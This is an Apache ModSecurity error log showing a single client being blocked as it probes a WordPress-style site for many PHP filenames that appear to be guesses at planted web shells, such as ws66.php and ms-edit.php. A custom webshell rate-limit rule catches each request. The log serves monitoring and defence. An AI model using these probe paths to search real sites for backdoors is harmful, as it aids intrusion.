[Tue Apr 21 21:25:18.664158 2026] [:error] [pid 35322:tid 35360] [client 172.213.216.244:4547] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aed6vqPoAfV40BTfVKzeOwAAAIM"]
[Tue Apr 21 21:25:19.576210 2026] [:error] [pid 35415:tid 35441] [client 172.213.216.244:34091] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aed6v0iqDinI4_22zzh3GwAAAM4"]
[Tue Apr 21 21:25:21.131640 2026] [:error] [pid 4823:tid 4877] [client 172.213.216.244:35280] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aed6wfc8mke3PfHqsxECggAAAZg"]
[Tue Apr 21 21:25:21.858484 2026] [:error] [pid 54080:tid 54083] [client 172.213.216.244:30813] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aed6wYzEbQHHxtmWbaa-EAAAAsE"]
[Tue Apr 21 21:25:23.056886 2026] [:error] [pid 54080:tid 54086] [client 172.213.216.244:30788] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aed6w4zEbQHHxtmWbaa-GAAAAsQ"]
[Tue Apr 21 21:25:23.860102 2026] [:error] [pid 35321:tid 35392] [client 172.213.216.244:32848] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aed6wzeHLhVUuu8cVXyzoQAAAEg"]
[Tue Apr 21 21:25:25.614556 2026] [:error] [pid 4823:tid 4875] [client 172.213.216.244:31779] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aed6xfc8mke3PfHqsxEChgAAAZY"]
[Tue Apr 21 21:25:26.633565 2026] [:error] [pid 53731:tid 53760] [client 172.213.216.244:31769] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aed6xl2I9THUR-bRVGxwDgAAAhg"]
[Tue Apr 21 21:25:27.400459 2026] [:error] [pid 53731:tid 53754] [client 172.213.216.244:32427] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aed6x12I9THUR-bRVGxwEQAAAhI"]
[Tue Apr 21 21:25:28.009921 2026] [:error] [pid 53978:tid 54001] [client 172.213.216.244:32392] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aed6yJ1ivsR4hcOSQbYn2AAAApU"]
[Tue Apr 21 21:25:28.840779 2026] [:error] [pid 53978:tid 53984] [client 172.213.216.244:30699] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aed6yJ1ivsR4hcOSQbYn2wAAAoQ"]
[Tue Apr 21 21:25:29.417394 2026] [:error] [pid 53832:tid 53836] [client 172.213.216.244:24440] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aed6ydzkuxsE_OhM9UJv4QAAAkE"]
[Tue Apr 21 21:25:30.021859 2026] [:error] [pid 35320:tid 35340] [client 172.213.216.244:26660] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aed6yoJW6fdXWO6agMHP_AAAAAo"]
[Tue Apr 21 21:25:30.719108 2026] [:error] [pid 35320:tid 35352] [client 172.213.216.244:42167] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aed6yoJW6fdXWO6agMHQAgAAABY"]
[Tue Apr 21 21:25:31.771417 2026] [:error] [pid 35322:tid 35372] [client 172.213.216.244:24412] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aed6y6PoAfV40BTfVKzeRgAAAI8"]
[Tue Apr 21 21:25:32.721398 2026] [:error] [pid 35320:tid 35345] [client 172.213.216.244:42144] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aed6zIJW6fdXWO6agMHQCAAAAA8"]
[Tue Apr 21 21:25:34.086393 2026] [:error] [pid 53978:tid 53992] [client 172.213.216.244:31982] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aed6zp1ivsR4hcOSQbYn5gAAAow"]
[Tue Apr 21 21:25:36.063491 2026] [:error] [pid 35321:tid 35394] [client 172.213.216.244:42172] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aed60DeHLhVUuu8cVXyzxAAAAEo"]
[Tue Apr 21 21:25:36.811826 2026] [:error] [pid 35320:tid 35353] [client 172.213.216.244:27697] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aed60IJW6fdXWO6agMHQDgAAABc"]
[Tue Apr 21 21:25:37.706904 2026] [:error] [pid 35321:tid 35385] [client 172.213.216.244:24411] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aed60TeHLhVUuu8cVXyz0gAAAEE"]
[Tue Apr 21 21:25:38.324072 2026] [:error] [pid 35321:tid 35404] [client 172.213.216.244:31972] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aed60jeHLhVUuu8cVXyz1wAAAFQ"]
[Tue Apr 21 21:25:39.066158 2026] [:error] [pid 53731:tid 53744] [client 172.213.216.244:24774] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aed6012I9THUR-bRVGxwLgAAAgk"]
[Tue Apr 21 21:25:39.862077 2026] [:error] [pid 53731:tid 53749] [client 172.213.216.244:39299] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aed6012I9THUR-bRVGxwMAAAAg4"]
[Tue Apr 21 21:25:40.396962 2026] [:error] [pid 35320:tid 35347] [client 172.213.216.244:32677] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aed61IJW6fdXWO6agMHQFgAAABE"]
[Tue Apr 21 21:25:40.945514 2026] [:error] [pid 53978:tid 53995] [client 172.213.216.244:26418] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aed61J1ivsR4hcOSQbYn-wAAAo8"]
[Tue Apr 21 21:25:42.083348 2026] [:error] [pid 35320:tid 35348] [client 172.213.216.244:29423] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aed61oJW6fdXWO6agMHQGAAAABI"]
[Tue Apr 21 21:25:43.109471 2026] [:error] [pid 53978:tid 53983] [client 172.213.216.244:28804] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aed6151ivsR4hcOSQbYoAgAAAoM"]
[Tue Apr 21 21:25:43.890179 2026] [:error] [pid 53731:tid 53760] [client 172.213.216.244:28108] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aed6112I9THUR-bRVGxwMwAAAhg"]
[Tue Apr 21 21:25:45.639001 2026] [:error] [pid 54080:tid 54093] [client 172.213.216.244:28193] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aed62YzEbQHHxtmWbaa-LAAAAss"]
[Tue Apr 21 21:25:47.564113 2026] [:error] [pid 53978:tid 53980] [client 172.213.216.244:25857] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aed6251ivsR4hcOSQbYoEgAAAoA"]
[Tue Apr 21 21:25:48.696951 2026] [:error] [pid 54080:tid 54090] [client 172.213.216.244:27188] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aed63IzEbQHHxtmWbaa-LgAAAsg"]
[Tue Apr 21 21:25:50.579584 2026] [:error] [pid 35321:tid 35395] [client 172.213.216.244:31098] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aed63jeHLhVUuu8cVXy0DgAAAEs"]
[Tue Apr 21 21:25:51.270628 2026] [:error] [pid 53832:tid 53838] [client 172.213.216.244:25908] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aed639zkuxsE_OhM9UJwBQAAAkM"]
[Tue Apr 21 21:25:52.069335 2026] [:error] [pid 4777:tid 4803] [client 172.213.216.244:47053] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aed64KxXur6bykKyLZStzQAAAQ8"]
[Tue Apr 21 21:25:52.819538 2026] [:error] [pid 4777:tid 4796] [client 172.213.216.244:35554] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aed64KxXur6bykKyLZStzgAAAQg"]
[Tue Apr 21 21:25:53.582422 2026] [:error] [pid 4823:tid 4859] [client 172.213.216.244:27482] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aed64fc8mke3PfHqsxECkwAAAYY"]
[Tue Apr 21 21:25:54.643897 2026] [:error] [pid 54080:tid 54093] [client 172.213.216.244:30147] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aed64ozEbQHHxtmWbaa-NQAAAss"]
[Tue Apr 21 21:25:55.441978 2026] [:error] [pid 54080:tid 54090] [client 172.213.216.244:29965] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aed644zEbQHHxtmWbaa-NwAAAsg"]
[Tue Apr 21 21:25:55.991418 2026] [:error] [pid 53731:tid 53753] [client 172.213.216.244:30001] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aed6412I9THUR-bRVGxwRAAAAhE"]
[Tue Apr 21 21:25:56.618898 2026] [:error] [pid 53731:tid 53749] [client 172.213.216.244:30205] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aed65F2I9THUR-bRVGxwRgAAAg4"]
[Tue Apr 21 21:25:57.249324 2026] [:error] [pid 35415:tid 35450] [client 172.213.216.244:4718] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aed65UiqDinI4_22zzh3IQAAANc"]
[Tue Apr 21 21:25:57.915320 2026] [:error] [pid 35321:tid 35389] [client 172.213.216.244:31066] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aed65TeHLhVUuu8cVXy0KwAAAEU"]
[Tue Apr 21 21:25:58.769885 2026] [:error] [pid 4823:tid 4877] [client 172.213.216.244:4354] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aed65vc8mke3PfHqsxECowAAAZg"]
[Tue Apr 21 21:26:00.362672 2026] [:error] [pid 35321:tid 35401] [client 172.213.216.244:30157] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aed66DeHLhVUuu8cVXy0NwAAAFE"]
[Tue Apr 21 21:26:01.697812 2026] [:error] [pid 35320:tid 35342] [client 172.213.216.244:35540] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aed66YJW6fdXWO6agMHQKgAAAAw"]
[Tue Apr 21 21:26:03.058483 2026] [:error] [pid 35321:tid 35405] [client 172.213.216.244:35530] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aed66zeHLhVUuu8cVXy0RAAAAFU"]
[Tue Apr 21 21:26:04.917560 2026] [:error] [pid 35321:tid 35395] [client 172.213.216.244:31730] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aed67DeHLhVUuu8cVXy0UQAAAEs"]
[Tue Apr 21 21:26:07.011567 2026] [:error] [pid 35321:tid 35386] [client 172.213.216.244:36413] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aed67zeHLhVUuu8cVXy0XwAAAEI"]
[Tue Apr 21 21:26:08.551695 2026] [:error] [pid 54080:tid 54098] [client 172.213.216.244:4405] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aed68IzEbQHHxtmWbaa-RQAAAtA"]
[Tue Apr 21 21:26:09.391743 2026] [:error] [pid 35321:tid 35396] [client 172.213.216.244:39337] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aed68TeHLhVUuu8cVXy0aQAAAEw"]
[Tue Apr 21 21:26:10.455126 2026] [:error] [pid 35321:tid 35393] [client 172.213.216.244:31735] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aed68jeHLhVUuu8cVXy0bQAAAEk"]
[Tue Apr 21 21:26:19.611945 2026] [:error] [pid 4777:tid 4809] [client 172.213.216.244:33089] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aed6-6xXur6bykKyLZSt4gAAARU"]
[Tue Apr 21 21:26:20.700458 2026] [:error] [pid 53832:tid 53855] [client 172.213.216.244:39321] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aed6_NzkuxsE_OhM9UJwLAAAAlQ"]
[Tue Apr 21 21:26:21.861814 2026] [:error] [pid 53731:tid 53738] [client 172.213.216.244:25961] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aed6_V2I9THUR-bRVGxwbwAAAgM"]
[Tue Apr 21 21:26:23.245111 2026] [:error] [pid 35320:tid 35338] [client 172.213.216.244:30193] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aed6_4JW6fdXWO6agMHQdgAAAAg"]
[Tue Apr 21 21:26:23.971635 2026] [:error] [pid 35321:tid 35402] [client 172.213.216.244:4386] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aed6_zeHLhVUuu8cVXy0lQAAAFI"]
